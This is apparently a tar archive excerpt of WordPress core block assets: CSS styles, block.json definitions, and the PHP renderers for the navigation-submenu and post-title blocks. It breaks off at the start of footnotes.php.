.components-placeholder__label{opacity:1;pointer-events:auto}.wp-block-post-featured-image.is-transient{position:relative}.wp-block-post-featured-image.is-transient img{opacity:.3}.wp-block-post-featured-image.is-transient .components-spinner{position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}div[data-type="core/post-featured-image"] img{display:block;height:auto;max-width:100%} post-featured-image/style-rtl.css 0000644 00000004002 15237550571 0013065 0 ustar 00 /**
* Colors
*/
.wp-block-post-featured-image {
margin-right: 0;
margin-left: 0;
}
.wp-block-post-featured-image a {
display: block;
height: 100%;
}
.wp-block-post-featured-image :where(img) {
max-width: 100%;
width: 100%;
height: auto;
vertical-align: bottom;
box-sizing: border-box;
}
.wp-block-post-featured-image.alignwide img, .wp-block-post-featured-image.alignfull img {
width: 100%;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim {
position: absolute;
inset: 0;
background-color: #000;
}
.wp-block-post-featured-image {
position: relative;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient {
background-color: transparent;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0 {
opacity: 0;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10 {
opacity: 0.1;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20 {
opacity: 0.2;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30 {
opacity: 0.3;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40 {
opacity: 0.4;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50 {
opacity: 0.5;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60 {
opacity: 0.6;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70 {
opacity: 0.7;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80 {
opacity: 0.8;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90 {
opacity: 0.9;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100 {
opacity: 1;
}
.wp-block-post-featured-image:where(.alignleft, .alignright) {
width: 100%;
} post-featured-image/block.json 0000644 00000004631 15237550571 0012411 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/post-featured-image",
"title": "Featured Image",
"category": "theme",
"description": "Display a post's featured image.",
"textdomain": "default",
"attributes": {
"isLink": {
"type": "boolean",
"default": false,
"role": "content"
},
"aspectRatio": {
"type": "string"
},
"width": {
"type": "string"
},
"height": {
"type": "string"
},
"scale": {
"type": "string",
"default": "cover"
},
"sizeSlug": {
"type": "string"
},
"rel": {
"type": "string",
"attribute": "rel",
"default": "",
"role": "content"
},
"linkTarget": {
"type": "string",
"default": "_self",
"role": "content"
},
"overlayColor": {
"type": "string"
},
"customOverlayColor": {
"type": "string"
},
"dimRatio": {
"type": "number",
"default": 0
},
"gradient": {
"type": "string"
},
"customGradient": {
"type": "string"
},
"useFirstImageFromPost": {
"type": "boolean",
"default": false
}
},
"usesContext": [ "postId", "postType", "queryId" ],
"example": {
"viewportWidth": 350
},
"supports": {
"anchor": true,
"align": [ "left", "right", "center", "wide", "full" ],
"color": {
"text": false,
"background": false
},
"__experimentalBorder": {
"color": true,
"radius": true,
"width": true,
"__experimentalSkipSerialization": true,
"__experimentalDefaultControls": {
"color": true,
"radius": true,
"width": true
}
},
"filter": {
"duotone": true
},
"shadow": {
"__experimentalSkipSerialization": true
},
"html": false,
"spacing": {
"margin": true,
"padding": true
},
"interactivity": {
"clientNavigation": true
}
},
"selectors": {
"border": ".wp-block-post-featured-image img, .wp-block-post-featured-image .block-editor-media-placeholder, .wp-block-post-featured-image .wp-block-post-featured-image__overlay",
"shadow": ".wp-block-post-featured-image img, .wp-block-post-featured-image .components-placeholder",
"filter": {
"duotone": ".wp-block-post-featured-image img, .wp-block-post-featured-image .wp-block-post-featured-image__placeholder, .wp-block-post-featured-image .components-placeholder__illustration, .wp-block-post-featured-image .components-placeholder::before"
}
},
"editorStyle": "wp-block-post-featured-image-editor",
"style": "wp-block-post-featured-image"
}
post-featured-image/editor.min.css 0000644 00000011510 15237550571 0013200 0 ustar 00 .wp-block-post-featured-image .block-editor-media-placeholder{backdrop-filter:none;z-index:1}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{align-items:center;display:flex;justify-content:center;padding:0}.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{display:none}.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;margin:auto;padding:0;position:relative;width:48px}.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{color:inherit}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{min-height:200px}.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){border-left-style:solid}.wp-block-post-featured-image[style*=height] .components-placeholder{height:100%;min-height:48px;min-width:48px;width:100%}.wp-block-post-featured-image>a{pointer-events:none}.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label{opacity:1;pointer-events:auto}.wp-block-post-featured-image.is-transient{position:relative}.wp-block-post-featured-image.is-transient img{opacity:.3}.wp-block-post-featured-image.is-transient .components-spinner{left:50%;position:absolute;top:50%;transform:translate(-50%,-50%)}div[data-type="core/post-featured-image"] img{display:block;height:auto;max-width:100%} navigation-submenu.php 0000644 00000026740 15237550571 0011113 0 ustar 00 <?php
/**
* Server-side rendering of the `core/navigation-submenu` block.
*
* @package WordPress
*/
/**
* Returns the submenu visibility value with backward compatibility
* for the deprecated openSubmenusOnClick attribute.
*
* This function centralizes the migration logic from the boolean
* openSubmenusOnClick to the new submenuVisibility enum.
*
* Backward compatibility handling:
* - Legacy blocks (saved before migration, never opened in editor):
* Have openSubmenusOnClick in database. Parent Navigation block passes it via context.
* We prioritize openSubmenusOnClick to preserve the original behavior.
*
* - Migrated blocks (opened in editor after migration):
* JavaScript deprecation removes openSubmenusOnClick and sets submenuVisibility.
* We use submenuVisibility since openSubmenusOnClick is null.
*
* - New blocks (created after migration):
* Only have submenuVisibility, openSubmenusOnClick is null.
* We use submenuVisibility.
*
* @since 6.9.0
*
* @param array $context Block context from parent Navigation block.
* @return string The visibility mode: 'hover', 'click', or 'always'.
*/
function block_core_navigation_submenu_get_submenu_visibility( $context ) {
$deprecated_open_submenus_on_click = $context['openSubmenusOnClick'] ?? null;
// For backward compatibility, prioritize the legacy attribute if present. If it has been loaded and saved in the editor, then
// the deprecated attribute will be replaced by submenuVisibility.
if ( null !== $deprecated_open_submenus_on_click ) {
// Convert boolean to string: true -> 'click', false -> 'hover'.
return ! empty( $deprecated_open_submenus_on_click ) ? 'click' : 'hover';
}
$submenu_visibility = $context['submenuVisibility'] ?? null;
// Use submenuVisibility for migrated/new blocks.
return $submenu_visibility ?? 'hover';
}
// Path differs between source and build: '../navigation-link/shared/' in source, './navigation-link/shared/' in build.
if ( file_exists( __DIR__ . '/../navigation-link/shared/item-should-render.php' ) ) {
require_once __DIR__ . '/../navigation-link/shared/item-should-render.php';
require_once __DIR__ . '/../navigation-link/shared/render-submenu-icon.php';
} else {
require_once __DIR__ . '/navigation-link/shared/item-should-render.php';
require_once __DIR__ . '/navigation-link/shared/render-submenu-icon.php';
}
/**
* Build an array with CSS classes and inline styles defining the font sizes
* which will be applied to the navigation markup in the front-end.
*
* @since 5.9.0
*
* @param array $context Navigation block context.
* @return array Font size CSS classes and inline styles.
*/
function block_core_navigation_submenu_build_css_font_sizes( $context ) {
// CSS classes.
$font_sizes = array(
'css_classes' => array(),
'inline_styles' => '',
);
$has_named_font_size = array_key_exists( 'fontSize', $context );
$has_custom_font_size = isset( $context['style']['typography']['fontSize'] );
if ( $has_named_font_size ) {
// Add the font size class.
$font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] );
} elseif ( $has_custom_font_size ) {
// Add the custom font size inline style.
$font_sizes['inline_styles'] = sprintf(
'font-size: %s;',
wp_get_typography_font_size_value(
array(
'size' => $context['style']['typography']['fontSize'],
)
)
);
}
return $font_sizes;
}
/**
* Renders the `core/navigation-submenu` block.
*
* @since 5.9.0
*
* @param array $attributes The block attributes.
* @param string $content The saved content.
* @param WP_Block $block The parsed block.
*
* @return string Returns the post content with the legacy widget added.
*/
function render_block_core_navigation_submenu( $attributes, $content, $block ) {
// Check if this navigation item should render based on post status.
if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) {
if ( ! gutenberg_block_core_shared_navigation_item_should_render( $attributes, $block ) ) {
return '';
}
}
// Don't render the block's subtree if it has no label.
if ( empty( $attributes['label'] ) ) {
return '';
}
$font_sizes = block_core_navigation_submenu_build_css_font_sizes( $block->context );
$style_attribute = $font_sizes['inline_styles'];
// Render inner blocks first to check if any menu items will actually display.
$inner_blocks_html = '';
foreach ( $block->inner_blocks as $inner_block ) {
$inner_blocks_html .= $inner_block->render();
}
$has_submenu = ! empty( trim( $inner_blocks_html ) );
$kind = empty( $attributes['kind'] ) ? 'post_type' : str_replace( '-', '_', $attributes['kind'] );
$is_active = ! empty( $attributes['id'] ) && get_queried_object_id() === (int) $attributes['id'] && ! empty( get_queried_object()->$kind );
if ( is_post_type_archive() && ! empty( $attributes['url'] ) ) {
$queried_archive_link = get_post_type_archive_link( get_queried_object()->name );
if ( $attributes['url'] === $queried_archive_link ) {
$is_active = true;
}
}
$show_submenu_indicators = isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon'];
$computed_visibility = block_core_navigation_submenu_get_submenu_visibility( $block->context );
$open_on_click = 'click' === $computed_visibility;
$open_on_hover = 'hover' === $computed_visibility;
$open_on_hover_and_click = $open_on_hover && $show_submenu_indicators;
$classes = array(
'wp-block-navigation-item',
);
$classes = array_merge(
$classes,
$font_sizes['css_classes']
);
if ( $has_submenu ) {
$classes[] = 'has-child';
}
if ( $open_on_click ) {
$classes[] = 'open-on-click';
}
if ( $open_on_hover_and_click ) {
$classes[] = 'open-on-hover-click';
}
if ( 'always' === $computed_visibility ) {
$classes[] = 'open-always';
}
if ( $is_active ) {
$classes[] = 'current-menu-item';
}
$wrapper_attributes = get_block_wrapper_attributes(
array(
'class' => implode( ' ', $classes ),
'style' => $style_attribute,
)
);
$label = '';
if ( isset( $attributes['label'] ) ) {
$label .= wp_kses_post( $attributes['label'] );
}
$aria_label = sprintf(
/* translators: Accessibility text. %s: Parent page title. */
__( '%s submenu' ),
wp_strip_all_tags( $label )
);
$html = '<li ' . $wrapper_attributes . '>';
// If Submenus open on hover or are always open, we render an anchor tag with attributes.
// If submenu icons are set to show, we also render a submenu button, so the submenu can be opened on click.
if ( ! $open_on_click ) {
$item_url = $attributes['url'] ?? '';
// Start appending HTML attributes to anchor tag.
$html .= '<a class="wp-block-navigation-item__content"';
// The href attribute on a and area elements is not required;
// when those elements do not have href attributes they do not create hyperlinks.
// But also The href attribute must have a value that is a valid URL potentially
// surrounded by spaces.
// see: https://html.spec.whatwg.org/multipage/links.html#links-created-by-a-and-area-elements.
if ( ! empty( $item_url ) ) {
$html .= ' href="' . esc_url( $item_url ) . '"';
}
if ( $is_active ) {
$html .= ' aria-current="page"';
}
if ( isset( $attributes['opensInNewTab'] ) && true === $attributes['opensInNewTab'] ) {
$html .= ' target="_blank" ';
}
if ( isset( $attributes['rel'] ) ) {
$html .= ' rel="' . esc_attr( $attributes['rel'] ) . '"';
} elseif ( isset( $attributes['nofollow'] ) && $attributes['nofollow'] ) {
$html .= ' rel="nofollow"';
}
if ( isset( $attributes['title'] ) ) {
$html .= ' title="' . esc_attr( $attributes['title'] ) . '"';
}
$html .= '>';
// End appending HTML attributes to anchor tag.
$html .= '<span class="wp-block-navigation-item__label">';
$html .= $label;
$html .= '</span>';
// Add description if available.
if ( ! empty( $attributes['description'] ) ) {
$html .= '<span class="wp-block-navigation-item__description">';
$html .= wp_kses_post( $attributes['description'] );
$html .= '</span>';
}
$html .= '</a>';
// End anchor tag content.
if ( $show_submenu_indicators && $has_submenu ) {
// The submenu icon is rendered in a button here
// so that there's a clickable element to open the submenu.
$html .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="wp-block-navigation__submenu-icon wp-block-navigation-submenu__toggle" aria-expanded="false">' . block_core_navigation_render_submenu_icon() . '</button>';
}
} else {
$html .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="wp-block-navigation-item__content wp-block-navigation-submenu__toggle" aria-expanded="false">';
// Wrap title with span to isolate it from submenu icon.
$html .= '<span class="wp-block-navigation-item__label">';
$html .= $label;
$html .= '</span>';
// Add description if available.
if ( ! empty( $attributes['description'] ) ) {
$html .= '<span class="wp-block-navigation-item__description">';
$html .= wp_kses_post( $attributes['description'] );
$html .= '</span>';
}
$html .= '</button>';
if ( $has_submenu ) {
$html .= '<span class="wp-block-navigation__submenu-icon">' . block_core_navigation_render_submenu_icon() . '</span>';
}
}
if ( $has_submenu ) {
// Copy some attributes from the parent block to this one.
// Ideally this would happen in the client when the block is created.
if ( array_key_exists( 'overlayTextColor', $block->context ) ) {
$attributes['textColor'] = $block->context['overlayTextColor'];
}
if ( array_key_exists( 'overlayBackgroundColor', $block->context ) ) {
$attributes['backgroundColor'] = $block->context['overlayBackgroundColor'];
}
if ( array_key_exists( 'customOverlayTextColor', $block->context ) ) {
$attributes['style']['color']['text'] = $block->context['customOverlayTextColor'];
}
if ( array_key_exists( 'customOverlayBackgroundColor', $block->context ) ) {
$attributes['style']['color']['background'] = $block->context['customOverlayBackgroundColor'];
}
// This allows us to be able to get a response from wp_apply_colors_support.
$block->block_type->supports['color'] = true;
$colors_supports = wp_apply_colors_support( $block->block_type, $attributes );
$css_classes = 'wp-block-navigation__submenu-container';
if ( array_key_exists( 'class', $colors_supports ) ) {
$css_classes .= ' ' . $colors_supports['class'];
}
$style_attribute = '';
if ( array_key_exists( 'style', $colors_supports ) ) {
$style_attribute = $colors_supports['style'];
}
if ( strpos( $inner_blocks_html, 'current-menu-item' ) ) {
$tag_processor = new WP_HTML_Tag_Processor( $html );
while ( $tag_processor->next_tag( array( 'class_name' => 'wp-block-navigation-item' ) ) ) {
$tag_processor->add_class( 'current-menu-ancestor' );
}
$html = $tag_processor->get_updated_html();
}
$wrapper_attributes = get_block_wrapper_attributes(
array(
'class' => $css_classes,
'style' => $style_attribute,
)
);
$html .= sprintf(
'<ul %s>%s</ul>',
$wrapper_attributes,
$inner_blocks_html
);
}
$html .= '</li>';
return $html;
}
/**
* Register the navigation submenu block.
*
* @since 5.9.0
*
* @uses render_block_core_navigation_submenu()
* @throws WP_Error An WP_Error exception parsing the block definition.
*/
function register_block_core_navigation_submenu() {
register_block_type_from_metadata(
__DIR__ . '/navigation-submenu',
array(
'render_callback' => 'render_block_core_navigation_submenu',
)
);
}
add_action( 'init', 'register_block_core_navigation_submenu' );
social-link/editor.css 0000644 00000001352 15237550571 0010764 0 ustar 00 .wp-block-social-links .wp-social-link {
line-height: 0;
}
.wp-block-social-link-anchor {
align-items: center;
background: none;
border: 0;
box-sizing: border-box;
cursor: pointer;
display: inline-flex;
font-size: inherit;
color: currentColor;
height: auto;
font-weight: inherit;
font-family: inherit;
margin: 0;
opacity: 1;
padding: 0.25em;
}
.wp-block-social-link-anchor:hover {
transform: none;
}
:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button) {
padding-left: 0.6666666667em;
padding-right: 0.6666666667em;
}
:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button) {
padding: 0;
}
.wp-block-social-link__toolbar_content_text {
width: 250px;
} social-link/editor-rtl.css 0000644 00000001352 15237550571 0011563 0 ustar 00 .wp-block-social-links .wp-social-link {
line-height: 0;
}
.wp-block-social-link-anchor {
align-items: center;
background: none;
border: 0;
box-sizing: border-box;
cursor: pointer;
display: inline-flex;
font-size: inherit;
color: currentColor;
height: auto;
font-weight: inherit;
font-family: inherit;
margin: 0;
opacity: 1;
padding: 0.25em;
}
.wp-block-social-link-anchor:hover {
transform: none;
}
:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button) {
padding-right: 0.6666666667em;
padding-left: 0.6666666667em;
}
:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button) {
padding: 0;
}
.wp-block-social-link__toolbar_content_text {
width: 250px;
} social-link/editor-rtl.min.css 0000644 00000001174 15237550571 0012347 0 ustar 00 .wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-link-anchor{align-items:center;background:none;border:0;box-sizing:border-box;color:currentColor;cursor:pointer;display:inline-flex;font-family:inherit;font-size:inherit;font-weight:inherit;height:auto;margin:0;opacity:1;padding:.25em}.wp-block-social-link-anchor:hover{transform:none}:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button){padding-left:.6666666667em;padding-right:.6666666667em}:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button){padding:0}.wp-block-social-link__toolbar_content_text{width:250px} social-link/block.json 0000644 00000001466 15237550571 0010757 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/social-link",
"title": "Social Icon",
"category": "widgets",
"parent": [ "core/social-links" ],
"description": "Display an icon linking to a social profile or site.",
"textdomain": "default",
"attributes": {
"url": {
"type": "string",
"role": "content"
},
"service": {
"type": "string"
},
"label": {
"type": "string",
"role": "content"
},
"rel": {
"type": "string"
}
},
"usesContext": [
"openInNewTab",
"showLabels",
"iconColor",
"iconColorValue",
"iconBackgroundColor",
"iconBackgroundColorValue"
],
"supports": {
"anchor": true,
"reusable": false,
"html": false,
"interactivity": {
"clientNavigation": true
}
},
"editorStyle": "wp-block-social-link-editor"
}
social-link/editor.min.css 0000644 00000001174 15237550571 0011550 0 ustar 00 .wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-link-anchor{align-items:center;background:none;border:0;box-sizing:border-box;color:currentColor;cursor:pointer;display:inline-flex;font-family:inherit;font-size:inherit;font-weight:inherit;height:auto;margin:0;opacity:1;padding:.25em}.wp-block-social-link-anchor:hover{transform:none}:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button){padding-left:.6666666667em;padding-right:.6666666667em}:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button){padding:0}.wp-block-social-link__toolbar_content_text{width:250px} accordion-heading/style.min.css 0000644 00000001361 15237550571 0012551 0 ustar 00 .wp-block-accordion-heading__toggle{align-items:center;background:none;border:none;color:inherit;cursor:pointer;display:flex;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;overflow:hidden;padding:var(--wp--preset--spacing--20,1em) 0;text-align:inherit;text-decoration:inherit;text-transform:inherit;width:100%;word-spacing:inherit}.wp-block-accordion-heading__toggle:not(:focus-visible){outline:none}.wp-block-accordion-heading__toggle:hover .wp-block-accordion-heading__toggle-title{text-decoration:underline}.wp-block-accordion-heading__toggle-title{flex:1}.wp-block-accordion-heading__toggle-icon{align-items:center;display:flex;height:1.2em;justify-content:center;width:1.2em} accordion-heading/style-rtl.min.css 0000644 00000001361 15237550571 0013350 0 ustar 00 .wp-block-accordion-heading__toggle{align-items:center;background:none;border:none;color:inherit;cursor:pointer;display:flex;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;overflow:hidden;padding:var(--wp--preset--spacing--20,1em) 0;text-align:inherit;text-decoration:inherit;text-transform:inherit;width:100%;word-spacing:inherit}.wp-block-accordion-heading__toggle:not(:focus-visible){outline:none}.wp-block-accordion-heading__toggle:hover .wp-block-accordion-heading__toggle-title{text-decoration:underline}.wp-block-accordion-heading__toggle-title{flex:1}.wp-block-accordion-heading__toggle-icon{align-items:center;display:flex;height:1.2em;justify-content:center;width:1.2em} accordion-heading/style.css 0000644 00000001563 15237550571 0011773 0 ustar 00 .wp-block-accordion-heading__toggle {
font-family: inherit;
font-size: inherit;
font-weight: inherit;
line-height: inherit;
letter-spacing: inherit;
text-transform: inherit;
text-decoration: inherit;
word-spacing: inherit;
font-style: inherit;
background: none;
border: none;
color: inherit;
padding: var(--wp--preset--spacing--20, 1em) 0;
cursor: pointer;
overflow: hidden;
display: flex;
align-items: center;
text-align: inherit;
width: 100%;
}
.wp-block-accordion-heading__toggle:not(:focus-visible) {
outline: none;
}
.wp-block-accordion-heading__toggle:hover .wp-block-accordion-heading__toggle-title {
text-decoration: underline;
}
.wp-block-accordion-heading__toggle-title {
flex: 1;
}
.wp-block-accordion-heading__toggle-icon {
width: 1.2em;
height: 1.2em;
display: flex;
align-items: center;
justify-content: center;
} accordion-heading/style-rtl.css 0000644 00000001563 15237550571 0012572 0 ustar 00 .wp-block-accordion-heading__toggle {
font-family: inherit;
font-size: inherit;
font-weight: inherit;
line-height: inherit;
letter-spacing: inherit;
text-transform: inherit;
text-decoration: inherit;
word-spacing: inherit;
font-style: inherit;
background: none;
border: none;
color: inherit;
padding: var(--wp--preset--spacing--20, 1em) 0;
cursor: pointer;
overflow: hidden;
display: flex;
align-items: center;
text-align: inherit;
width: 100%;
}
.wp-block-accordion-heading__toggle:not(:focus-visible) {
outline: none;
}
.wp-block-accordion-heading__toggle:hover .wp-block-accordion-heading__toggle-title {
text-decoration: underline;
}
.wp-block-accordion-heading__toggle-title {
flex: 1;
}
.wp-block-accordion-heading__toggle-icon {
width: 1.2em;
height: 1.2em;
display: flex;
align-items: center;
justify-content: center;
} accordion-heading/block.json 0000644 00000004177 15237550571 0012112 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/accordion-heading",
"title": "Accordion Heading",
"category": "design",
"description": "Displays a heading that toggles the accordion panel.",
"parent": [ "core/accordion-item" ],
"usesContext": [
"core/accordion-icon-position",
"core/accordion-show-icon",
"core/accordion-heading-level"
],
"supports": {
"anchor": true,
"color": {
"background": true,
"gradients": true
},
"align": false,
"interactivity": true,
"spacing": {
"padding": true,
"__experimentalDefaultControls": {
"padding": true
},
"__experimentalSkipSerialization": true,
"__experimentalSelector": ".wp-block-accordion-heading__toggle"
},
"__experimentalBorder": {
"color": true,
"radius": true,
"style": true,
"width": true,
"__experimentalDefaultControls": {
"color": true,
"radius": true,
"style": true,
"width": true
}
},
"typography": {
"__experimentalSkipSerialization": [
"textDecoration",
"letterSpacing"
],
"fontSize": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true,
"fontFamily": true
}
},
"shadow": true,
"visibility": false,
"lock": false
},
"selectors": {
"typography": {
"letterSpacing": ".wp-block-accordion-heading .wp-block-accordion-heading__toggle-title",
"textDecoration": ".wp-block-accordion-heading .wp-block-accordion-heading__toggle-title"
}
},
"attributes": {
"openByDefault": {
"type": "boolean",
"default": false
},
"title": {
"type": "rich-text",
"source": "rich-text",
"selector": ".wp-block-accordion-heading__toggle-title",
"role": "content"
},
"level": {
"type": "number"
},
"iconPosition": {
"type": "string",
"enum": [ "left", "right" ],
"default": "right"
},
"showIcon": {
"type": "boolean",
"default": true
}
},
"textdomain": "default"
}
comment-date/style.min.css 0000644 00000000055 15237550571 0011567 0 ustar 00 .wp-block-comment-date{box-sizing:border-box} comment-date/style-rtl.min.css 0000644 00000000055 15237550571 0012366 0 ustar 00 .wp-block-comment-date{box-sizing:border-box} comment-date/style.css 0000644 00000000064 15237550571 0011005 0 ustar 00 .wp-block-comment-date {
box-sizing: border-box;
} comment-date/style-rtl.css 0000644 00000000064 15237550571 0011604 0 ustar 00 .wp-block-comment-date {
box-sizing: border-box;
} comment-date/block.json 0000644 00000002604 15237550571 0011122 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/comment-date",
"title": "Comment Date",
"category": "theme",
"ancestor": [ "core/comment-template" ],
"description": "Displays the date on which the comment was posted.",
"textdomain": "default",
"attributes": {
"format": {
"type": "string"
},
"isLink": {
"type": "boolean",
"default": true
}
},
"usesContext": [ "commentId" ],
"supports": {
"anchor": true,
"html": false,
"color": {
"gradients": true,
"link": true,
"__experimentalDefaultControls": {
"background": true,
"text": true,
"link": true
}
},
"spacing": {
"margin": true,
"padding": true
},
"typography": {
"fontSize": true,
"lineHeight": true,
"textAlign": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"interactivity": {
"clientNavigation": true
},
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true,
"__experimentalDefaultControls": {
"radius": true,
"color": true,
"width": true,
"style": true
}
}
},
"style": "wp-block-comment-date"
}
post-title.php 0000644 00000004132 15237550571 0007373 0 ustar 00 <?php
/**
* Server-side rendering of the `core/post-title` block.
*
* @package WordPress
*/
/**
* Renders the `core/post-title` block on the server.
*
* @since 6.3.0 Omitting the $post argument from the `get_the_title`.
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
*
* @return string Returns the filtered post title for the current post wrapped inside "h1" tags.
*/
function render_block_core_post_title( $attributes, $content, $block ) {
if ( ! isset( $block->context['postId'] ) ) {
return '';
}
/**
* The `$post` argument is intentionally omitted so that changes are reflected when previewing a post.
* See: https://github.com/WordPress/gutenberg/pull/37622#issuecomment-1000932816.
*/
$title = get_the_title();
if ( ! $title ) {
return '';
}
$tag_name = 'h2';
if ( isset( $attributes['level'] ) ) {
$tag_name = 0 === $attributes['level'] ? 'p' : 'h' . (int) $attributes['level'];
}
if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) {
$rel = ! empty( $attributes['rel'] ) ? 'rel="' . esc_attr( $attributes['rel'] ) . '"' : '';
$title = sprintf( '<a href="%1$s" target="%2$s" %3$s>%4$s</a>', esc_url( get_the_permalink( $block->context['postId'] ) ), esc_attr( $attributes['linkTarget'] ), $rel, $title );
}
$classes = array();
if ( isset( $attributes['textAlign'] ) ) {
$classes[] = 'has-text-align-' . $attributes['textAlign'];
}
if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
$classes[] = 'has-link-color';
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );
return sprintf(
'<%1$s %2$s>%3$s</%1$s>',
$tag_name,
$wrapper_attributes,
$title
);
}
/**
* Registers the `core/post-title` block on the server.
*
* @since 5.8.0
*/
function register_block_core_post_title() {
register_block_type_from_metadata(
__DIR__ . '/post-title',
array(
'render_callback' => 'render_block_core_post_title',
)
);
}
add_action( 'init', 'register_block_core_post_title' );
footnotes.php 0000644 00000007352 15237550571 0007316 0 ustar 00 <?php
/**
* Server-side rendering of the `core/footnotes` block.
*
* @package WordPress
*/
/**
* Renders the `core/footnotes` block on the server.
*
* @since 6.3.0
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
*
